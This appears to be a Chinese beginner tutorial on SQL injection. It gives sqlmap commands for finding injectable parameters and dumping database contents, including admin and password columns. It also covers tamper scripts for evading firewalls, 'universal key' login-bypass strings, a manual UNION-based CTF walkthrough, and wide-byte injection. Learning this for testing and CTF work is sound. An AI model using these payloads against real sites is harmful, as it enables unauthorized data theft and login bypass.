Sql注入基础入门(sqlmap使用和手工注入 )
Sql注入基础入门
一,get类型
1,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" //判断get类型有无注入漏洞,"-u" 也可以换成 "-url" 2,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dbs/(-current -db) //爆出所有库(当前所在库) 上述参数选择一个即可 3,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --tables (-D shujukuming) //爆出所有表名(爆出指定数据库的所有表) 4,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --columns (-T biaomingzi -D shujukuming) //爆出所有列名(指定数据库指定表内列) 5,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dump (-C admin,password) -T biaomingzi -D shujukuming //下载admin,password列的内容
二,post类型
sqlmap.py -r "post.txt" //针对post类型可以用bp抓包,保存到sqlmap文件夹,然后用此命令 或者: sqlmap.py -u "http://baidu.com/admin.php" --data="id=1&name=admin"
标题三,进阶说明
1. level 刚开始在前面说了,level 算是一共注入测试等级,一共是五级, 级别越高,检测的内容也就越多, 检测级别大于等于 2 时会检测 cookie 是否有注入, 检测级别大于等于 3 时会检测 User-Agent 和 Referer 是否有注入。 比较推荐使用 3 等级进行测试。 2. *指定注入点 SQLMap 可以区分一个 URL 里面的参数来进行注入点测试, 但在遇到了一些做了伪静态的网页就无法自动识别了。 /admin/1/ 类似于这种,SQLMap 便无法进行注入测试, 但它实际上可能是这样的: /admin.php?id=1 它只是把参数隐藏在了 URL 中,对于这种网页,直接在参数后加上一个星号即可。 sqlmap.py -u "www.baidu.com/admin/1*" 星号之后,众生平等。 3.注入测试的脚本 使用参数:-tamper SQLMap 是自带了一个脚本库的,内置的脚本库对 payload 进行了混淆, 可能有些可以有效的规避防火墙规则。 ****例如:sqlmap -u "url" --tamper="a.py"**** 4.万能钥匙: admin# suibianshu or 1 = 1# admin or 1=1
标题四,手工注入流程:(一个ctf题为例)
1,id=-1 union select 1,2,3,database() #得到数据库名字skctf_flag 2,通过使用 id=-1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() # 得到表名:fl4g,sc 3,id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467# //这里需要用16进制绕过 得到字段skctf_flag 4,id=-1 union select 1,2,3,skctf_flag from fl4g# #得到flag, 另外order by 给列排序 注意:上边语句为了美观,增加回车!!!
五,数据库内置函数:
1. version()——MySQL版本 2. user()——用户名 3. database()——数据库名 4. @@datadir——数据库路径 5. @@version_compile_os——操作系统版本 例如: url + id=3′ UNION SELECT 1,DATABASE() %23 %23表示“#”
六,图解析版
SQLMap使用: https://gitbook.cn/books/5ba8393639ea516190a9b8f8/index.html 手工注入: https://www.jianshu.com/p/268ef198d191
七,补充找注入点:
善用火狐hacker插件,连接后加 或 %df(%df是绕魔术引号,属于宽字节注入) 主要是 后台登录和搜索框
sql注入,这一篇主要是写一个大概。详细的可以去看看另外几篇文章
感谢众多前辈和团队分享,才有本人在此总结。怀感恩之心,砥砺前行